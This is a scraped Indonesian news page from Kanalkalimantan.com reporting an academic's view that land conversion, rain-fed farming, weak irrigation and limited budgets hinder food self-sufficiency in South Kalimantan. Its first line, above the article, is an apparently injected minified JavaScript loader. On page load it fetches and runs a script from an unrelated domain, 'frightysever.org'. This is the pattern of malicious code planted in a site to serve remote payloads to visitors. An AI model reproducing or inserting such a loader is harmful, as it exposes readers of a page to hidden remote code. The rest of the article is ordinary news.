(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kalimantan Selatan

Alih Fungsi Lahan Tantangan Utama Swasembada Pangan di Kalsel


KANALKALIMANTAN.COM, BANJARMASIN – Provinsi Kalimantan Selatan (Kalsel) sedang menghadapi tantangan besar dalam mewujudkan swasembada pangan.

Program yang bertujuan untuk memperkuat ketahanan pangan daerah sekaligus mengurangi ketergantungan pada impor, diharapkan menjadi solusi strategis bagi peningkatan ekonomi dan kesejahteraan masyarakat.

Namun, berbagai kendala teknis dan struktural menjadi hambatan yang perlu segera diatasi. Hal ini disampaikan, Akademisi Universitas Lambung Mangkurat, Dr Muzdalifah SE MSi kepada Kanalkalimantan.com, Selasa (26/11/2024).

Salah satu masalah utama adalah maraknya alih fungsi lahan. Banyak lahan pertanian kini beralih menjadi perkebunan besar atau kawasan perkotaan.

Baca juga: Niat Tawuran Bawa Celurit, Dua Remaja di Banjarmasin Diringkus Polisi

Di sisi lain, lahan rawa yang berpotensi menjadi sumber produktivitas sering kali tergenang air sepanjang tahun, memerlukan teknologi canggih agar dapat dikelola.

Selain itu, mayoritas lahan pertanian di Kalsel masih bergantung pada tadah hujan, sehingga pengembangan infrastruktur irigasi menjadi kebutuhan mendesak.

Modernisasi sektor pertanian tidak bisa berjalan tanpa dukungan sumber daya manusia (SDM) yang mumpuni.

“Keterbatasan pengetahuan dan keterampilan petani dalam mengadopsi teknologi modern menjadi penghambat signifikan,” kata Dr Muzdalifah.

Baca juga: #Save Demokrasi Banjarbaru: Hak Pilih Warga Dibungkam

Dari sisi ekonomi, kata Dr Muzdalifah, keterbatasan anggaran pemerintah daerah membuat subsidi dan insentif bagi petani sulit diwujudkan.

Akademisi Universitas Lambung Mangkurat, Dr Muzdalifah. Foto: dok.pribadi

“Kalsel juga masih sangat bergantung pada sektor pertambangan, sehingga sektor pertanian belum menjadi prioritas utama dalam investasi,” terangnya.

Kondisi ini diperburuk oleh persaingan penggunaan lahan untuk kelapa sawit dan pembangunan infrastruktur wilayah perkotaan.

Harga hasil panen fluktuatif, logistik yang kurang terintegrasi, serta keterbatasan akses modal usaha juga menjadi tantangan yang menekan para petani kecil. Mereka sering kali terpaksa utang kepada tengkulak untuk memenuhi kebutuhan pertanian maupun biaya hidup.

Baca juga: Kirim Surat Suara ke Tiga Wilayah Ujung Banjarmasin Gunakan Klotok

Di balik tantangan ini, program swasembada pangan membawa harapan besar. Dengan optimalisasi lahan rawa melalui inovasi teknologi, Kalsel memiliki potensi untuk menjadi penopang kebutuhan pangan nasional, terutama di tengah pembangunan Ibu Kota Nusantara (IKN) yang semakin meningkatkan permintaan pangan.

“Diversifikasi ekonomi melalui pengembangan sektor pertanian juga membuka peluang bagi petani lokal untuk meningkatkan kesejahteraan,” ucapnya.

Selain itu, program ini berpotensi menciptakan lapangan kerja baru di berbagai sektor, mulai dari produksi hingga distribusi pangan.

Swasembada pangan bukan hanya soal ketahanan pangan, tetapi juga langkah strategis untuk meningkatkan kemandirian daerah.

Baca juga: Pengrajin Anyaman Purun Desa Pulantani Terima Bantuan CSR

“Jika dikelola dengan baik, Kalsel bisa menjadi pelopor dalam inovasi pertanian berbasis lahan rawa dan gambut, sekaligus memperkuat perekonomian lokal,” jelasnya.

Dengan kolaborasi antara pemerintah, petani, dan masyarakat, swasembada pangan di Kalsel bukan sekadar angan, melainkan target yang dapat dicapai.

“Kini saatnya memanfaatkan potensi besar ini untuk membawa Kalsel menuju masa depan yang lebih mandiri dan sejahtera,” pungkas Muzdalifah. (Kanalkalimantan.com/rizki)

Reporter: rizki
Editor: bie


Risa

Recent Posts

Shopping Funtastic 2025 Tarik Pengunjung Lebih Besar, Catat 125 Ribu Kupon Undian

KANALKALIMANTAN.COM, BANJARBARU - Program belanja menarik dengan tajuk Shopping Funtastic 2025 resmi ditutup manajemen Q… Read More

12 jam ago

Potensi Bikin Jalan Ir PM Noor Terganggu, Lapak Durian Sungai Ulin Diberi Teguran

KANALKALIMANTAN.COM, BANJARBARU - Petugas gabungan dari Dinas Perhubungan dan Satuan Polisi Pamong Praja Kota Banjarbaru… Read More

14 jam ago

Urbanisasi, Pembangunan IKN dan Dampak Ikutannya

Oleh: Cheryl Rinjani Eileen Manurung, Prodi Geografi, ULM Read More

21 jam ago

Baznas Balangan Salurkan Bantuan untuk Masyarakat Berbagai Bidang

KANALKALIMANTAN.COM, PARINGIN - Badan Amil Zakat Nasional (Baznas) Kabupaten Balangan menyalurkan berbagai program bantuan di… Read More

22 jam ago

Balangan Raih Kabupaten Terinovatif Indeks Inovasi Daerah IGA 2025

KANALKALIMANTAN.COM, PARINGIN – Kabupaten Balangan berhasil meraih predikat kabupaten terinovatif dengan Indeks Inovasi Daerah (IID)… Read More

22 jam ago

Turnamen Gila Basket Tutup Tahun 2025 di Lapangan Rebatig

KANALKALIMANTAN.COM, BANJARBARU - Wali Kota Banjarbaru Erna Lisa Halaby membuka kompetisi basket menutup tahun 2025… Read More

23 jam ago

This website uses cookies.